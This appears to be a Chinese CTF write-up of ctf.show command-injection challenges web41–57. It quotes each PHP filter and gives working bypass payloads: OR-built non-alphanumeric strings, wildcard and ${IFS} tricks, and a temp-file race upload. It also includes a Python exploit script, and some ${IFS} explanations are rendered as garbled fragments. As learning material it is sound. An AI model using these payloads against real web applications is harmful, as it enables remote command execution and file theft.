命令执行(2)
web 41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
// 过滤了数字,字母(大小写),还有一些其他符号
// 未过滤或运算符|和双引号“”
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
1. 无字母数字命令执行,使用或运算构造字符
-
URL编码:ASCII码转成十六进制加上%就是URL编码
-
构造字符:因为过滤了大部分可见字符,为了使用可见字符我们可以使用
“不可见字符”|“不可见字符”=可见字符,即“未过滤字符|未过滤字符”=“过滤的字符”
-
例:%40|%01
十六进制40的二进制:0100 0000
十六进制01的二进制:0000 0001
或运算之后得出结果:0100 0001 十进制的65,根据ASCII来说就是A,十六进制的41
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
// 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
2. 疑惑点
3. payload
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
4. 参考文章
Y4师傅的脚本
https://blog.csdn.net/solitudi/article/details/109837640?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163559291916780262542265%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163559291916780262542265&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_v29-1-109837640.pc_v2_rank_blog_default&utm_term=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&spm=1018.2226.3001.4450
yu师傅的脚本
https://blog.csdn.net/miuzzx/article/details/108569080
web 41相关问题解决办法
https://blog.csdn.net/qq_45758851/article/details/115188556?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2defaultCTRLISTdefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2defaultCTRLISTdefault-1.no_search_link
P牛文章:一些不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
详细分析脚本
https://blog.csdn.net/qq_40345591/article/details/127773706
web 42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
1./dev/null 2>&1
- /dev/null 2>&1:让所有的输出流(包括错误的和正确的)都定向到空设备(黑洞)丢弃,不会保存,即传入c,不会有任何返回结果
- 2>&1:把错误输出绑定到正确输出
- 没有任何过滤,可以考虑双写绕过,有分隔分号,第二个命令写入黑洞,第一个正常输出
2. payload
payload:
?c=tac flag.php;a
web 43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
// 过滤了分号,cat
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.分隔命令
- ;、&、&&、|、||、换行符%0a都可分隔两条命令
- &&与&区别:两者都表示“与”运算,但是&&运算符第一个表达式不成立的话,后面的表达式不运算,直接返回。而&对所有表达式都得判断。
- || 与|区别:两者都表示“或”运算,但是||运算符第一个表达式成立的话,后面的表达式不运算,直接返回。而|对所有表达式都得判断。
2. payload
payload:
?c=tac flag.php%26a
?c=nl flag.php%0a
疑问点:为什么要将&转换成url编码
web 44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
// 比上一题多过滤了flag
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.同上一题,只是多过滤了flag,利用通配符绕过
2. payload
payload:
?c=tac fl*%26a
?c=nl fla*.php%0a
web 45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
// 多过滤了空格
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.空格绕过
- 空格指的不是php代码里面的空格,而是Linux-shell的空格
- %09(ASCII码水平制表符)绕过空格
- 反引号的输出作为输入执行,反引号在php中类似system作用
2. payload
payload:
?c=tac%09fl*%26a // %09绕过
?c=echo`nl\$IFS*`%0A // 内敛执行
3.
I
F
S
,
{IFS},
IFS,IFS,$IFS$9的区别
首先
I
F
S
在
l
i
n
u
x
下表示分隔符,单纯的
c
a
t
IFS在linux下表示分隔符,单纯的cat
IFS在linux下表示分隔符,单纯的catIFS2,bash解释器会把整个IFS2当做变量名,所以无法输出结果,添加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,$9是因为当前系统shell进程的第九个参数的持有者,始终为空字符串,起隔开作用。
web 46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
// 过滤了数字0-9,美元符号,通配符星号
}
}else{
highlight_file(__FILE__);
}
1.通配符*,?绕过flag,空格绕过
- 过滤了*,还可以利用?绕过flag,空格绕过也可以不用美元符号,直接%09绕过
- 注:这里的%09虽然有数字,但是会被浏览器自动解码成水平制表符
2. payload
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
web 47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.过滤了好多文件读取命令,但是仍然可以通过tac读取
2.payload
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
web 48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.Linux下读取文件的命令有很多,如果漏掉一个,相当于白过滤
读取文件命令:cat|more|less|head|sort|tail|sed|cut|awk|strings|od|curl
2.payload
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
web 49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.多过滤了%
但是%09会被浏览器自动解码成水平制表符,%26是&
2.payload
payload:
?c=tac%09fla?.php%26
?c=nl%09fla\g.php||
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
?c=nl%09fla""g.php%0a
?c=vi%09fla\g.php%0a
?c=tac%09fla\g.php%0a
?c=uniq%09fla\g.php%0a
?c=nl<fla''g.php||
?c=nl%09fla\g.php%26
3.总结:
- flag绕过:可以使用*,?,‘’,“”
- 分隔命令:(上面也有总结)可以利用|,||,&,&&,%0a
- 文件读取命令:cat,tac,nl,vi,uniq,more,less,head,sort,tail,sed,cut,awk,strings,od,curl
- 空格绕过:%09,
I
F
S
,
{IFS},
IFS,IFS,$IFS$9
web 50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.过滤了%09,&,$
- 可以不用空格的命令nl(带行号)
- nl不支持通配符,利用两个单引号分隔字符串,但是中间执行自动忽略
- |,||可以用,|对应编码%7c
2.payload
payload:
?c=nl<fla''g.php||
web 51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.多过滤了tac
2.payload
payload:
?c=nl<fla''g.php||
web 52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1. ?c=nl${IFS}fl’'ag.php||
发现了假的flag,这个时候访问一下根目录?c=ls${IFS}/||,发现了flag,直接访问/flag
2.payload
payload:
?c=nl$IFS/fla''g||
?c=cp${IFS}/fl''ag${IFS}/var/www/html/a.txt||
// 也可以先把flag复制到a.txt,再访问该文件
web 53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
1.过滤没啥变化,有回显,显示了命令,显示了命令结果
system自带打印返回值,返回结果并不是执行结果,成功则返回命令输出的最后一行
2.payload
payload:
// ta''c,两个单引号在系统执行时默认绕过
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php
web 54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:mv重命名
查看根目录,发现flag.php,为了访问它,将其重命名为a.txt,然后访问a.txt
payload:
?c=ls
?c=mv${IFS}fla?.php${IFS}a.txt
?c=ls
访问a.txt
方法二:使用通配符匹配bin目录下的cat或者tac
bin为binary的简写,主要放置一些系统的必备执行文件。
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=vi${IFS}f???.???
?c=uniq${IFS}f???.???
?c=/bin/c??${IFS}????????
?c=/bin/c??$IFS????????
?c=/bin/?at${IFS}f???????
方法三:grep用于查找文件里符合条件的字符串
grep:能使用正则表达式搜索文本,并把匹配的行打印出来。
?c=grep${IFS}'fla'${IFS}fla?.php
web 55
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
// 给了空格,过滤了字母,无字母RCE
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:bzip2压缩文件
-
bzip2 命令同 gzip 命令类似,只能对文件进行压缩(或解压缩),对于目录只能压缩(或解压缩)该目录及子目录下的所有文件。当执行压缩任务完成后,会生成一个以“.bz2”为后缀的压缩包。
-
/bin与/user/bin的区别
bin: bin为binary的简写主要放置一些系统的必备执行档,例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。
/usr/bin:主要放置一些应用软体工具的必备执行档,例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
payload:
?c=/???/???/????2 ????.???
// /usr/bin/bzip2 flag.php, 访问/flag.php.bz2进行下载获得flag.php
方法二:base64编码
- base64:将指定的文件的内容以base64加密的形式输出。
- 通过通配符进行匹配命令执行查看flag.php,利用/bin/base64,因为过滤了字母,正好可以用64来匹配。
payload:
?c=/???/????64 ????.???
// /bin/base64 flag.php
方法三:利用脚本上传文件
-
大概思路:通过脚本POST上传一个文件,文件内容是要执行的命令,并且在原网址页面同时点命令执行该文件,形成条件竞争。这是因为上传文件之后,服务器的php接收了文件,它不清楚脚本执行后,接收文件以后的操作,因此把每次脚本执行上传的文件都放在一个目录,这个目录属于临时目录,任何程序都可以写。一般来说这个文件在linux下面保存在/tmp/php??????
,6个字符是随机生成的有大小写。所以可以通过/???/???[@-[] 来构成这个路径。
-
没有过滤点,点命令在linux中是source的缩写,通过点命令,可以在没有执行权限的情况下执行sh命令。
-
source命令:source命令也称为“点命令”,也就是一个点符号(.)。
source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。
source命令可以将长串命令做成一个文件,然后自动顺序执行,把一个文件的内容当成shell来执行
-
[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/???匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。即使这样,也不一定能够准确地匹配到上传的临时文件,可能要多次刷新。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
Html代码思路:
把源码做成本地的HTML文件,from action改成题目地址,enctyoe=“multipart/from-data”,然后提交空文件抓包,更改post的值,输入?c=.+/???/???[@-[],上传1.php,内容为sh命令:#!/bin/sh ls
注意:
shell程序必须以“#!/bin/sh”开始,"#!/bin/sh"是对shell的声明,说明你所用的是哪种类型的shell及其路径所在。#!/bin/是指此脚本使用.bin/sh来执行。#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径,如果没有声明,则脚本将在默认的shell中执行
.+代表贪婪,匹配从右到左,.+?代表非贪婪,匹配从左到右。
然后看到flag.php文件,直接用命令读取 cat /var/www/html/flag.php
import requests
while True:
url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
python脚本,有待看懂,不是很懂怎么操作
参考文章
P神文章:无字母数字webshell提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
详细wp
https://blog.csdn.net/qq_46091464/article/details/108513145
Y4师傅脚本
https://blog.csdn.net/solitudi/article/details/109837640
web56
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
1.做题思路
在过滤了数字字母的情况下,还保留了.和? ,就可以使用post文件上传来做
这里关于上传文件的类型有个疑惑,
如果使用shell命令,是否需要上传.sh文件,之前上传php文件类型,也可以执行shell命令,很迷
2.payload
同web55的脚本
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
临时路径除了?c=.+/???/????????[@-[],也可以用?c=.%20/???/????????[@-[],空格%20
web 57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
1. 无数字字母RCE——利用$(()) 进行整数运算
(())是用来整数运算的命令,内部可以放表达式,默认相加
$(())=0,~
(
(
)
)
=
0
,
(())=~0,
(())= 0,((~ $(())))=-1
~0表示按位取反
0的存储是 0b 0000 0000
~按位取反 0b 1111 1111
负数在内存中是按照补码的形式存储,也就是说0b 1111 1111是一个补码,(补码取反加一得原码)原码就是0b 1000 0001,也就是-1(注意负数求反码补码的时候符号位不变),那么它的反码就是0b 1111 1110
通过查看代码发现,flag在36.php文件,通过$((~36)) 可得36取反为-37
36可以通过外层为$(())包裹内层可以运算出36的表达式构造,36由-37取反得到,
所以
(
(
((~
(( (( )))) 内部加上37个$((~ $(()) )) 得到 -37 。
2. payload
payload:
?
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))